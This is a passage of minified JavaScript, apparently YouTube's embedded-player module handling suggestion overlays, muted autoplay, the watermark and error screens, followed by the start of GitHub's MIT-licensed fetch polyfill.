c=a.D[c];var e=d.shortViewCount?d.shortViewCount:d.author,f=d.Rk();g.uD(a.api.T())&&(f=g.Md(f,g.bV("emb_rel_err")));c.element.style.display="";var h=c.ia("ytp-suggestion-title");g.En.test(d.title)?h.dir="rtl":g.RBa.test(d.title)&&(h.dir="ltr");h=c.ia("ytp-suggestion-author");g.En.test(e)?h.dir="rtl":g.RBa.test(e)&&(h.dir="ltr");h=d.isLivePlayback?"\u76f4\u64ad":d.lengthSeconds?g.YO(d.lengthSeconds):"";c.update({views_or_author:e,duration:h,link:f,hover_title:d.title,title:d.title,aria_label:d.Jp||
null,is_live:d.isLivePlayback});c=c.ia("ytp-suggestion-image");d=d.ke();c.style.backgroundImage=d?"url("+d+")":""}for(;b<a.D.length;b++)a.D[b].element.style.display="none";M4(a)},N4=function(a){g.CU.call(this,a);
var b=this,c=a.T();c=new g.V({G:"a",L:"ytp-small-redirect",U:{href:g.fE(c),target:c.F,"aria-label":"\u8bbf\u95ee YouTube \u4ee5\u641c\u7d22\u66f4\u591a\u89c6\u9891"},R:[{G:"svg",U:{fill:"#fff",height:"100%",viewBox:"0 0 24 24",width:"100%"},R:[{G:"path",U:{d:"M0 0h24v24H0V0z",fill:"none"}},{G:"path",U:{d:"M21.58 7.19c-.23-.86-.91-1.54-1.77-1.77C18.25 5 12 5 12 5s-6.25 0-7.81.42c-.86.23-1.54.91-1.77 1.77C2 8.75 2 12 2 12s0 3.25.42 4.81c.23.86.91 1.54 1.77 1.77C5.75 19 12 19 12 19s6.25 0 7.81-.42c.86-.23 1.54-.91 1.77-1.77C22 15.25 22 12 22 12s0-3.25-.42-4.81zM10 15V9l5.2 3-5.2 3z"}}]}]});
c.ga(this.element);g.D(this,c);this.B=new L4(a);this.B.ga(this.element);g.D(this,this.B);this.N(a,"videodatachange",function(){b.show()});
this.u(g.pG(this.api).getPlayerSize())},LGa=function(a,b){a.ia("ytp-error-content").style.paddingTop="0px";
var c=a.ia("ytp-error-content"),d=c.clientHeight;JGa(a.B,b,b.height-d);c.style.paddingTop=(b.height-a.B.element.clientHeight)/2-d/2+"px"},MGa=function(a,b){var c=a.api.T(),d;
b.reason&&(O4(b.reason)?d=g.LH(b.reason):d=g.DU(g.T(b.reason)),a.Ec(d,"content"));var e;b.subreason&&(O4(b.subreason)?e=g.LH(b.subreason):e=g.DU(g.T(b.subreason)),a.Ec(e,"subreason"));if(g.Q(c.experiments,"embeds_enable_age_gating_playability_check")&&b.proceedButton&&b.proceedButton.buttonRenderer&&(e=b.proceedButton.buttonRenderer,c=a.ia("ytp-error-content-wrap-subreason"),d=g.Fe("A"),e.text&&e.text.simpleText)){var f=e.text.simpleText;d.textContent=f;a:{for(var h=(c||document).getElementsByTagName("A"),
l=0;l<h.length;l++)if(h[l].textContent===f){f=!0;break a}f=!1}f||(e.navigationEndpoint&&e.navigationEndpoint.urlEndpoint&&((f=e.navigationEndpoint.urlEndpoint.url)&&d.setAttribute("href",f),(e=e.navigationEndpoint.urlEndpoint.target)&&d.setAttribute("target",e)),c.appendChild(d))}},O4=function(a){if(a.runs)for(var b=0;b<a.runs.length;b++)if(a.runs[b].navigationEndpoint)return!0;
return!1},P4=function(a,b){g.V.call(this,{G:"a",
la:["ytp-impression-link"],U:{target:"{{target}}",href:"{{url}}","aria-label":"\u5728 YouTube \u4e0a\u89c2\u770b"},R:[{G:"div",L:"ytp-impression-link-content",U:{"aria-hidden":"true"},R:[{G:"div",L:"ytp-impression-link-text",Z:"\u901a\u8fc7\u4ee5\u4e0b\u5e73\u53f0\u89c2\u770b\uff1a"},{G:"div",L:"ytp-impression-link-logo",R:[B4()]}]}]});this.api=a;this.B=b;this.za("target",a.T().F);g.VT(this.api,this.element,this,96714);this.N(this.api,"presentingplayerstatechange",this.C);this.N(this.api,"videoplayerreset",
this.u);this.N(this.element,"click",this.onClick);this.u()},Q4=function(a){g.V.call(this,{G:"div",
L:"ytp-muted-autoplay-endscreen-overlay",R:[{G:"div",L:"ytp-muted-autoplay-end-panel",R:[{G:"div",L:"ytp-muted-autoplay-end-text",Z:"{{text}}"}]}]});this.api=a;this.B=this.ia("ytp-muted-autoplay-end-panel");this.u=new g.vU(this.api);g.D(this,this.u);this.u.ga(this.B,0);g.VT(this.api,this.element,this,52428);this.N(this.api,"presentingplayerstatechange",this.C);this.xa("click",this.onClick);this.hide()},R4=function(a){g.V.call(this,{G:"div",
L:"ytp-muted-autoplay-overlay",R:[{G:"div",L:"ytp-muted-autoplay-bottom-buttons",R:[{G:"button",la:["ytp-muted-autoplay-equalizer","ytp-button"],R:[{G:"div",la:["ytp-muted-autoplay-equalizer-icon"],R:[{G:"svg",U:{height:"100%",version:"1.1",viewBox:"-4 -4 24 24",width:"100%"},R:[{G:"g",U:{fill:"#fff"},R:[{G:"rect",L:"ytp-equalizer-bar-left",U:{height:"9",width:"4",x:"1",y:"7"}},{G:"rect",L:"ytp-equalizer-bar-middle",U:{height:"14",width:"4",x:"6",y:"2"}},{G:"rect",L:"ytp-equalizer-bar-right",U:{height:"12",
width:"4",x:"11",y:"4"}}]}]}]}]}]}]});this.api=a;this.bottomButtons=this.ia("ytp-muted-autoplay-bottom-buttons");this.ia("ytp-muted-autoplay-equalizer");this.C=new g.F(this.B,4E3,this);g.VT(a,this.element,this,39306);this.N(a,"presentingplayerstatechange",this.u);this.N(a,"onMutedAutoplayStarts",this.u);this.xa("click",this.onClick);this.hide()},S4=function(a,b){g.V.call(this,{G:"div",
L:"ytp-pause-overlay"});var c=this;this.api=a;this.S=b;this.animationDelay=1E3;this.B=new g.oR(this);this.I=new g.jO(this,1E3,!1,100);this.D=[];this.u=[];this.F=0;this.K=!1;this.fa=0;this.title=new g.V({G:"h2",L:"ytp-related-title",Z:"{{title}}"});this.previous=new g.V({G:"button",la:["ytp-button","ytp-previous"],U:{"aria-label":"\u663e\u793a\u4e4b\u524d\u7684\u63a8\u8350\u89c6\u9891"},R:[g.SN()]});this.Y=new K4(function(m){c.suggestions.element.scrollLeft=-m});
this.ba=this.tileWidth=this.C=0;this.next=new g.V({G:"button",la:["ytp-button","ytp-next"],U:{"aria-label":"\u663e\u793a\u66f4\u591a\u63a8\u8350\u89c6\u9891"},R:[g.TN()]});this.expandButton=new g.V({G:"button",la:["ytp-button","ytp-expand"],Z:"\u66f4\u591a\u89c6\u9891"});g.D(this,this.B);g.D(this,this.I);var d=a.T();"0"===d.controlsType&&g.I(a.getRootNode(),"ytp-pause-overlay-controls-hidden");this.X=d.B;g.D(this,this.title);this.title.ga(this.element);this.suggestions=new g.V({G:"div",L:"ytp-suggestions"});
g.D(this,this.suggestions);this.suggestions.ga(this.element);g.D(this,this.previous);this.previous.ga(this.element);this.previous.xa("click",this.kM,this);var e=g.BB||g.yg?{style:"will-change: opacity"}:void 0;g.D(this,this.Y);for(var f=0;16>f;f++){var h=new g.V({G:"a",L:"ytp-suggestion-link",U:{href:"{{link}}",target:d.F,"aria-label":"{{aria_label}}"},R:[{G:"div",L:"ytp-suggestion-image"},{G:"div",L:"ytp-suggestion-overlay",U:e,R:[{G:"div",L:"ytp-suggestion-title",Z:"{{title}}"},{G:"div",L:"ytp-suggestion-author",
Z:"{{author_and_views}}"},{G:"div",U:{"data-is-live":"{{is_live}}"},L:"ytp-suggestion-duration",Z:"{{duration}}"}]}]});g.D(this,h);h.ga(this.suggestions.element);var l=h.ia("ytp-suggestion-link");g.vg(l,"transitionDelay",f/20+"s");this.B.N(l,"click",g.Ta(this.lM,f));this.D.push(h)}g.D(this,this.next);this.next.ga(this.element);this.next.xa("click",this.jM,this);d=new g.V({G:"button",la:["ytp-button","ytp-collapse"],U:{"aria-label":"\u9690\u85cf\u66f4\u591a\u89c6\u9891"},R:[{G:"svg",U:{height:"100%",
viewBox:"0 0 16 16",width:"100%"},R:[{G:"path",U:{d:"M13 4L12 3 8 7 4 3 3 4 7 8 3 12 4 13 8 9 12 13 13 12 9 8z",fill:"#fff"}}]}]});g.D(this,d);d.ga(this.element);d.xa("click",this.PO,this);g.D(this,this.expandButton);this.expandButton.ga(this.element);this.expandButton.xa("click",this.QO,this);this.B.N(this.api,"appresize",this.Ua);this.B.N(this.api,"fullscreentoggled",this.ik);this.B.N(this.api,"presentingplayerstatechange",this.jc);this.B.N(this.api,"videodatachange",this.Qa);this.Ua(g.pG(this.api).getPlayerSize());
this.Qa()},T4=function(a){var b=a.S.ce()?32:16;
b=a.ba/2+b;a.next.element.style.bottom=b+"px";a.previous.element.style.bottom=b+"px";b=a.C;var c=a.F-a.u.length*(a.tileWidth+8);g.K(a.element,"ytp-scroll-min",0<=b);g.K(a.element,"ytp-scroll-max",b<=c)},NGa=function(a){for(var b=0;b<a.u.length;b++){var c=a.u[b].Na(),d=a.D[b],e=c.shortViewCount?c.author+" \u2022 "+c.shortViewCount:c.author;
d.element.style.display="";g.QBa.test(c.title)&&(d.ia("ytp-suggestion-title").dir="rtl");g.QBa.test(e)&&(d.ia("ytp-suggestion-author").dir="rtl");var f=c.isLivePlayback?"\u76f4\u64ad":c.lengthSeconds?g.YO(c.lengthSeconds):"";var h=c.Rk();g.uD(a.api.T())&&(h=g.Md(h,g.bV("emb_rel_pause")));d.update({author_and_views:e,duration:f,link:h,title:c.title,aria_label:c.Jp||null,is_live:c.isLivePlayback});d=d.ia("ytp-suggestion-image");c=c.ke();d.style.backgroundImage=c?"url("+c+")":""}for(;b<a.D.length;b++)a.D[b].element.style.display=
"none";T4(a)},U4=function(a){var b=a.T();
g.V.call(this,{G:"a",la:["ytp-watermark","yt-uix-sessionlink"],U:{target:b.F,href:"{{url}}","aria-label":g.KL("\u5728 $WEBSITE \u4e0a\u89c2\u770b",{WEBSITE:g.QD(b)}),"data-sessionlink":"feature=player-watermark"},R:[B4()]});this.api=a;this.u=null;this.B=!1;this.state=g.LK(a);g.VT(a,this.element,this,76758);this.N(a,"videodatachange",this.eB);this.N(a,"videodatachange",this.Qa);this.N(a,"presentingplayerstatechange",this.pM);this.N(a,"appresize",this.Ua);b=this.state;this.state!==b&&(this.state=b);
this.eB();this.Qa();this.Ua(g.pG(a).getPlayerSize())},V4=function(a){g.FS.call(this,a);
this.J=a;this.C=new g.oR(this);g.D(this,this.C);this.load()};g.k=C4.prototype;g.k.gS=function(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];this.Ln.set(this.nD(c),[new lGa(a)])};
g.k.cD=function(a){for(var b=[],c=0;c<arguments.length;++c)b[c-0]=arguments[c];b=this.nD(b);return this.Ln.has(b)?this.Ln.get(b):void 0};
g.k.sK=function(a){for(var b=[],c=0;c<arguments.length;++c)b[c-0]=arguments[c];return(b=this.cD(b))&&b.length?b[0]:void 0};
g.k.clear=function(){this.Ln.clear()};
g.k.nD=function(a){for(var b=[],c=0;c<arguments.length;++c)b[c-0]=arguments[c];return b?b.join(","):"key"};g.u(D4,C4);D4.prototype.C=function(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];d=0;var e=this.sK(c);e&&(d=e.oC);this.gS(d+a,c)};g.k=nGa.prototype;g.k.NH=function(){var a=this.B.values();a=[].concat(g.ma(a)).filter(function(b){return b.Ln.size});
a.length&&this.I.flush(a);pGa(a);this.C=0;this.u.enabled&&this.u.stop()};
g.k.FJ=function(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];this.B.has(a)||this.B.set(a,new D4(a,c))};
g.k.OL=function(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];this.PL.apply(this,[a,1].concat(g.ma(c)))};
g.k.PL=function(a,b,c){for(var d=[],e=2;e<arguments.length;++e)d[e-2]=arguments[e];(e=oGa(this,a))&&e instanceof D4&&(e.C(b,d),this.u.enabled||this.u.start(),this.C++,this.C>=this.D&&this.NH())};
g.k.qH=function(a,b,c){for(var d=2;d<arguments.length;++d);oGa(this,a)};g.Va(sGa,g.Ef);g.Va(tGa,g.Ef);var rGa=[1];g.Va(xGa,g.Ef);g.Va(zGa,g.Ef);g.Va(AGa,g.Ef);g.Va(BGa,g.Ef);g.Va(F4,g.Ef);g.Va(H4,g.Ef);g.Va(J4,g.Ef);var wGa=[3,6,4],yGa=[[1,2]],CGa=[1],G4=[[1,2,3]],I4=[[1,2,3]];mGa.prototype.flush=function(a){a=void 0===a?[]:a;if(g.zo("enable_client_streamz_web")){a=g.q(a);for(var b=a.next();!b.done;b=a.next()){b=b.value;var c=new xGa;c=g.Mf(c,1,b.D);for(var d=b,e=[],f=0;f<d.u.length;f++)e.push(d.u[f].kK);c=g.Mf(c,3,e||[]);d=[];e=[];f=g.q(b.Ln.keys());for(var h=f.next();!h.done;h=f.next())e.push(h.value.split(","));for(f=0;f<e.length;f++){h=e[f];var l=b.B;for(var m=b.cD(h)||[],n=[],p=0;p<m.length;p++){var r=m[p];r=r&&r.oC;var t=new J4;switch(l){case 3:A4(t,1,I4[0],Number(r));
break;case 2:A4(t,2,I4[0],Number(r))}n.push(t)}l=n;for(m=0;m<l.length;m++){p=l[m];n=new F4;n.u||(n.u={});r=p?p.Kf:p;n.u[2]=p;n=g.Mf(n,2,r);p=h;r=[];t=b;for(var w=[],x=0;x<t.u.length;x++)w.push(t.u[x].lK);t=w;for(w=0;w<t.length;w++){x=t[w];var y=p[w],C=new H4;switch(x){case 3:A4(C,1,G4[0],String(y));break;case 2:A4(C,2,G4[0],Number(y));break;case 1:A4(C,3,G4[0],"true"==y)}r.push(C)}kGa(n,1,r);d.push(n)}}kGa(c,4,d);d=b=new g.wf;e=g.Kf(c,1);null!=e&&w4(d,1,e);e=g.Kf(c,5);null!=e&&iGa(d,5,e);e=z4(c,zGa,
2);null!=e&&x4(d,2,e,FGa);e=g.Kf(c,3);if(0<e.length&&null!=e)for(f=0;f<e.length;f++)w4(d,3,e[f]);e=g.Kf(c,6);if(0<e.length&&null!=e)for(f=0;f<e.length;f++)iGa(d,6,e[f]);e=g.Of(c,F4,4);0<e.length&&y4(d,4,e,IGa);b=g.xf(b);b={serializedIncrementBatch:g.sf(b)};g.Rq("streamzIncremented",b)}}};var E4;g.u(K4,g.B);K4.prototype.start=function(a,b,c){this.from=a;this.u=b;this.duration=c;this.startTime=(0,g.N)();this.next()};
K4.prototype.next=function(){var a=(0,g.N)()-this.startTime;var b=this.B;a=jGa(b,a/this.duration);if(0==a)b=b.F;else if(1==a)b=b.P;else{var c=g.ee(b.F,b.I,a),d=g.ee(b.I,b.K,a);b=g.ee(b.K,b.P,a);c=g.ee(c,d,a);d=g.ee(d,b,a);b=g.ee(c,d,a)}b=g.ce(b,0,1);this.callback((this.u-this.from)*b+this.from);1>b&&this.delay.start()};g.u(L4,g.V);g.k=L4.prototype;g.k.hide=function(){this.K=!0;g.V.prototype.hide.call(this)};
g.k.show=function(){this.K=!1;g.V.prototype.show.call(this)};
g.k.isHidden=function(){return this.K};
g.k.mM=function(){this.scrollTo(this.C-this.F)};
g.k.nM=function(){this.scrollTo(this.C+this.F)};
g.k.oM=function(a,b){var c=this.u[a],d=c.yd;g.xU(b,this.api,this.X,d||void 0)&&g.DT(this.api,c.Na().videoId,d,c.getPlaylistId())};
g.k.Qa=function(){var a=this,b=this.api.getVideoData(),c=this.api.T();this.X=b.oc?!1:c.B;if(b.suggestions){var d=g.Ke(b.suggestions,function(e){return e&&!e.list});
this.u=g.Oc(d,function(e){e=g.rW(c,e);g.D(a,e);return e})}else this.u.length=0;
KGa(this);b.oc?this.title.update({title:g.KL("\u6765\u81ea\u201c$DNI_RELATED_CHANNEL\u201d\u9891\u9053\u7684\u66f4\u591a\u89c6\u9891",{DNI_RELATED_CHANNEL:b.author})}):this.title.update({title:"\u66f4\u591a YouTube \u89c6\u9891"})};
g.k.scrollTo=function(a){a=g.ce(a,this.F-this.u.length*(this.tileWidth+this.B),0);this.Y.start(this.C,a,this.animationDelay);this.C=a;M4(this)};g.u(N4,g.CU);N4.prototype.show=function(){g.CU.prototype.show.call(this);LGa(this,g.pG(this.api).getPlayerSize())};
N4.prototype.u=function(a){g.CU.prototype.u.call(this,a);LGa(this,a);g.K(this.element,"related-on-error-overlay-visible",!this.B.isHidden())};
N4.prototype.C=function(a){g.CU.prototype.C.call(this,a);var b=this.api.getVideoData();if(g.Q(this.api.T().experiments,"embed_parse_error_renderer_killswitch")||!b.NC&&!b.playerErrorMessageRenderer){var c;a.Ii&&(b.Ct?O4(b.Ct)?c=g.LH(b.Ct):c=g.DU(g.T(b.Ct)):c=g.DU(a.Ii),this.Ec(c,"subreason"))}else(a=b.NC)?MGa(this,a):b.playerErrorMessageRenderer&&MGa(this,b.playerErrorMessageRenderer)};g.u(P4,g.V);P4.prototype.C=function(){g.LK(this.api).isCued()||(this.hide(),g.NN(this.api,this.element,!1))};
P4.prototype.u=function(){var a=this.api.getVideoData(),b=this.api.T(),c=this.api.getVideoData().oc,d=b.Fb;b=!b.tb;var e=this.B.Ee();d||e||c||b||!a.videoId?(this.hide(),g.NN(this.api,this.element,!1)):(a=g.Md(this.api.getVideoUrl(),g.bV("emb_imp_woyt")),this.za("url",a),this.show())};
P4.prototype.onClick=function(a){var b=g.Md(this.api.getVideoUrl(),g.bV("emb_imp_woyt"));g.yU(b,this.api,a);g.WT(this.api,this.element)};
P4.prototype.show=function(){g.LK(this.api).isCued()&&(g.V.prototype.show.call(this),g.MN(this.api,this.element)&&g.NN(this.api,this.element,!0))};g.u(Q4,g.V);Q4.prototype.C=function(){var a=g.LK(this.api),b=this.api.getVideoData();g.Q(this.api.T().experiments,"embeds_enable_muted_autoplay")&&b.mutedAutoplay&&(g.U(a,2)&&!this.eb?(this.show(),this.u.show(),a=this.api.getVideoData(),this.za("text",a.zF),g.K(this.element,"ytp-muted-autoplay-show-end-panel",!0),g.NN(this.api,this.element,this.eb),this.api.ya("onMutedAutoplayEnds")):this.hide())};
Q4.prototype.onClick=function(){var a=this.api.getVideoData(),b=this.api.getCurrentTime();a.mutedAutoplay=!1;a.endSeconds=NaN;a.ph();this.api.loadVideoById(a.videoId,b);g.WT(this.api,this.element);this.hide()};g.u(R4,g.V);R4.prototype.u=function(){var a=g.LK(this.api),b=this.api.getVideoData();g.Q(this.api.T().experiments,"embeds_enable_muted_autoplay")&&b.mutedAutoplay&&!g.U(a,2)?this.eb||(g.V.prototype.show.call(this),this.C.start(),g.NN(this.api,this.element,this.eb)):this.hide()};
R4.prototype.B=function(){g.K(this.element,"ytp-muted-autoplay-hide-watermark",!0)};
R4.prototype.onClick=function(){var a=this.api.getVideoData(),b=this.api.getCurrentTime();a.mutedAutoplay=!1;a.endSeconds=NaN;a.ph();this.api.loadVideoById(a.videoId,b);g.WT(this.api,this.element)};g.u(S4,g.V);g.k=S4.prototype;g.k.hide=function(){g.wn(this.api.getRootNode(),"ytp-expand-pause-overlay");g.V.prototype.hide.call(this)};
g.k.PO=function(){this.K=!0;g.wn(this.api.getRootNode(),"ytp-expand-pause-overlay");this.expandButton.focus()};
g.k.QO=function(){this.K=!1;g.I(this.api.getRootNode(),"ytp-expand-pause-overlay")};
g.k.jM=function(){this.scrollTo(this.C-this.F)};
g.k.kM=function(){this.scrollTo(this.C+this.F)};
g.k.lM=function(a,b){if(1E3>(0,g.N)()-this.fa)g.mp(b),document.activeElement.blur();else{var c=this.u[a],d=c.yd;g.xU(b,this.api,this.X,d||void 0)&&g.DT(this.api,c.Na().videoId,d,c.getPlaylistId())}};
g.k.ik=function(){this.Ua(g.pG(this.api).getPlayerSize())};
g.k.jc=function(a){if(!(g.U(a.state,1)||g.U(a.state,16)||g.U(a.state,32))){var b=!g.Q(this.api.T().experiments,"embeds_disable_pauseoverlay_on_autoplay_blocked_killswitch")&&g.U(a.state,2048);!g.U(a.state,4)||g.U(a.state,2)||b?this.I.hide():this.u.length&&(this.K||(g.I(this.api.getRootNode(),"ytp-expand-pause-overlay"),T4(this)),this.I.show(),this.fa=(0,g.N)())}};
g.k.Ua=function(a){var b=16/9,c=this.S.ce();a=a.width-(c?112:58);c=Math.ceil(a/(c?320:192));c=(a-8*c)/c;b=Math.floor(c/b);for(var d=0;d<this.D.length;d++){var e=this.D[d].ia("ytp-suggestion-image");e.style.width=c+"px";e.style.height=b+"px"}this.suggestions.element.style.height=b+"px";this.tileWidth=c;this.ba=b;this.F=a;this.C=0;this.suggestions.element.scrollLeft=-0;T4(this)};
g.k.Qa=function(){var a=this,b=this.api.T(),c=this.api.getVideoData();this.X=c.oc?!1:b.B;if(c.suggestions){var d=g.Ke(c.suggestions,function(e){return e&&!e.list});
this.u=g.Oc(d,function(e){e=g.rW(b,e);g.D(a,e);return e})}else this.u.length=0;
NGa(this);c.oc?this.title.update({title:g.KL("\u6765\u81ea\u201c$DNI_RELATED_CHANNEL\u201d\u9891\u9053\u7684\u66f4\u591a\u89c6\u9891",{DNI_RELATED_CHANNEL:c.author})}):this.title.update({title:"\u66f4\u591a\u89c6\u9891"})};
g.k.scrollTo=function(a){a=g.ce(a,this.F-this.u.length*(this.tileWidth+8),0);this.Y.start(this.C,a,this.animationDelay);this.C=a;T4(this)};g.u(U4,g.V);g.k=U4.prototype;g.k.eB=function(){var a=this.api.getVideoData(),b=this.api.getVideoData(1).oc,c=this.api.T();a=(a.mutedAutoplay||c.Fb&&!g.U(this.state,2))&&!(b&&c.pfpChazalUi);g.GN(this,a);g.NN(this.api,this.element,a)};
g.k.pM=function(a){a=a.state;this.state!==a&&(this.state=a);this.eB()};
g.k.Qa=function(){if(this.api.getVideoData().videoId){var a=this.api.getVideoUrl(!0,!1,!1,!0);this.za("url",a);this.u||(this.u=this.xa("click",this.onClick))}else this.u&&(this.za("url",null),this.Lb(this.u),this.u=null)};
g.k.onClick=function(a){var b=this.api.getVideoUrl(!g.ZO(a),!1,!0,!0);g.yU(b,this.api,a);g.WT(this.api,this.element)};
g.k.Ua=function(a){if((a=480>a.width)&&!this.B||!a&&this.B){var b=new g.V(B4()),c=this.ia("ytp-watermark");g.K(c,"ytp-watermark-small",a);g.He(c);b.ga(c);this.B=a}};g.u(V4,g.FS);g.k=V4.prototype;g.k.ji=function(){return!1};
g.k.create=function(){var a=this.J.T(),b=g.yT(this.J);a.tb&&(this.I=new S4(this.J,b),g.D(this,this.I),g.xP(this.J,this.I.element,4));g.Q(a.experiments,"embeds_enable_muted_autoplay")&&(this.B=new R4(this.J),g.D(this,this.B),g.xP(this.J,this.B.element,4),this.F=new Q4(this.J),g.D(this,this.F),g.xP(this.J,this.F.element,4));if(a.Fb||this.B)this.watermark=new U4(this.J),g.D(this,this.watermark),g.xP(this.J,this.watermark.element,7);g.Q(a.experiments,"embeds_impression_link")&&(this.D=new P4(this.J,b),
g.D(this,this.D),g.xP(this.J,this.D.element,7));this.C.N(this.J,"appresize",this.Ua);this.C.N(this.J,"presentingplayerstatechange",this.iM);this.C.N(this.J,"videodatachange",this.PS);this.C.N(this.J,"onMutedAutoplayStarts",this.OP);this.ub(g.LK(this.J));this.player.Uc("embed");g.Q(a.experiments,"enable_cookie_reissue_iframe")&&a.qf&&!g.Bq("__Secure-3PAPISID")&&(a=a.deviceParams.c,a=void 0===a?"WEB":a,(new qGa).u.OL("/client_streamz/youtube/web/debug/third_party_apisid_cookie_reissue_iframe",a),a=
g.Fe("IFRAME"),a.src="/signin?go=true",a.style.display="none",document.body.appendChild(a))};
g.k.Ua=function(){var a=g.pG(this.J).getPlayerSize();this.u&&this.u.u(a)};
g.k.iM=function(a){this.ub(a.state)};
g.k.ub=function(a){g.U(a,128)?(this.u||(this.u=new N4(this.J),g.D(this,this.u),g.xP(this.J,this.u.element,4)),this.u.C(a.getData()),this.u.show(),g.I(this.J.getRootNode(),"ytp-embed-error")):this.u&&(this.u.dispose(),this.u=null,g.wn(this.J.getRootNode(),"ytp-embed-error"))};
g.k.OP=function(){this.J.getVideoData().mutedAutoplay&&this.B&&this.watermark&&this.watermark.ga(this.B.bottomButtons,0)};
g.k.PS=function(){var a=this.J.getVideoData();this.watermark&&this.B&&!a.mutedAutoplay&&g.Me(this.B.element,this.watermark.element)&&g.xP(this.J,this.watermark.element,7)};g.nU.embed=V4;})(_yt_player);
/*
/*
Copyright (c) 2014-2016 GitHub, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
(function(self){if(self.fetch)return;function normalizeName(name){if(typeof name!=="string")name=String(name);if(/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(name))throw new TypeError("Invalid character in header field name");return name.toLowerCase()}function normalizeValue(value){if(typeof value!=="string")value=String(value);return value}function Headers(headers){this.map={};if(headers instanceof Headers)headers.forEach(function(value,name){this.append(name,value)},this);else if(headers)Object.getOwnPropertyNames(headers).forEach(function(name){this.append(name,
headers[name])},this)}Headers.prototype.append=function(name,value){name=normalizeName(name);value=normalizeValue(value);var list=this.map[name];if(!list){list=[];this.map[name]=list}list.push(value)};Headers.prototype["delete"]=function(name){delete this.map[normalizeName(name)]};Headers.prototype.get=function(name){var values=this.map[normalizeName(name)];return values?values[0]:null};Headers.prototype.getAll=function(name){return this.map[normalizeName(name)]||[]};Headers.prototype.has=function(name){return this.map.hasOwnProperty(normalizeName(name))};
Headers.prototype.set=function(name,value){this.map[normalizeName(name)]=[normalizeValue(value)]};Headers.prototype.forEach=function(callback,thisArg){Object.getOwnPropertyNames(this.map).forEach(function(name){this.map[name].forEach(function(value){callback.call(thisArg,value,name,this)},this)},this)};function consumed(body){if(body.bodyUsed)return Promise.reject(new TypeError("Already read"));body.bodyUsed=true}function fileReaderReady(reader){return new Promise(function(resolve,reject){reader.onload=
function(){resolve(reader.result)};reader.onerror=function(){reject(reader.error)}})}function readBlobAsArrayBuffer(blob){var reader=new FileReader;reader.readAsArrayBuffer(blob);return fileReaderReady(reader)}function readBlobAsText(blob){var reader=new FileReader;reader.readAsText(blob);return fileReaderReady(reader)}var support={blob:"FileReader"in self&&"Blob"in self&&function(){try{new Blob;return true}catch(e){return false}}(),formData:"FormData"in self,arrayBuffer:"ArrayBuffer"in self};function Body(){this.bodyUsed=
false;this._initBody=function(body){this._bodyInit=body;if(typeof body==="string")this._bodyText=body;else if(support.blob&&Blob.prototype.isPrototypeOf(body))this._bodyBlob=body;else if(support.formData&&FormData.prototype.isPrototypeOf(body))this._bodyFormData=body;else if(!body)this._bodyText="";else if(support.arrayBuffer&&ArrayBuffer.prototype.isPrototypeOf(body));else throw new Error("unsupported BodyInit type");if(!this.headers.get("content-type"))if(typeof body==="string")this.headers.set("content-type",
"text/plain;charset=UTF-8");else if(this._bodyBlob&&this._bodyBlob.type)this.headers.set("content-type",this._bodyBlob.type)};if(support.blob){this.blob=function(){var rejected=consumed(this);if(rejected)return rejected;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);else if(this._bodyFormData)throw new Error("could not read FormData body as blob");else return Promise.resolve(new Blob([this._bodyText]))};this.arrayBuffer=function(){return this.blob().then(readBlobAsArrayBuffer)};this.text=
function(){var rejected=consumed(this);if(rejected)return rejected;if(this._bodyBlob)return readBlobAsText(this._bodyBlob);else if(this._bodyFormData)throw new Error("could not read FormData body as text");else return Promise.resolve(this._bodyText)}}else this.text=function(){var rejected=consumed(this);return rejected?rejected:Promise.resolve(this._bodyText)};if(support.formData)this.formData=function(){return this.text().then(decode)};this.json=function(){return this.text().then(JSON.parse)};return this}
var methods=["DELETE","GET","HEAD","OPTIONS","POST","PUT"];function normalizeMethod(method){var upcased=method.toUpperCase();return methods.indexOf(upcased)>-1?upcased:method}function Request(input,options){options=options||{};var body=options.body;if(Request.prototype.isPrototypeOf(input)){if(input.bodyUsed)throw new TypeError("Already read");this.url=input.url;this.credentials=input.credentials;if(!options.headers)this.headers=new Headers(input.headers);this.method=input.method;this.mode=input.mode;
if(!body){body=input._bodyInit;input.bodyUsed=true}}else this.url=input;this.credentials=options.credentials||this.credentials||"omit";if(options.headers||!this.headers)this.headers=new Headers(options.headers);this.method=normalizeMethod(options.method||this.method||"GET");this.mode=options.mode||this.mode||null;this.referrer=null;if((this.method==="GET"||this.method==="HEAD")&&body)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(body)}Request.prototype.clone=function(){return new Request(this)};
function decode(body){var form=new FormData;body.trim().split("&").forEach(function(bytes){if(bytes){var split=bytes.split("=");var name=split.shift().replace(/\+/g," ");var value=split.join("=").replace(/\+/g," ");form.append(decodeURIComponent(name),decodeURIComponent(value))}});return form}function headers(xhr){var head=new Headers;var pairs=xhr.getAllResponseHeaders().trim().split("\n");pairs.forEach(function(header){var split=header.trim().split(":");var key=split.shift().trim();var value=split.join(":").trim();
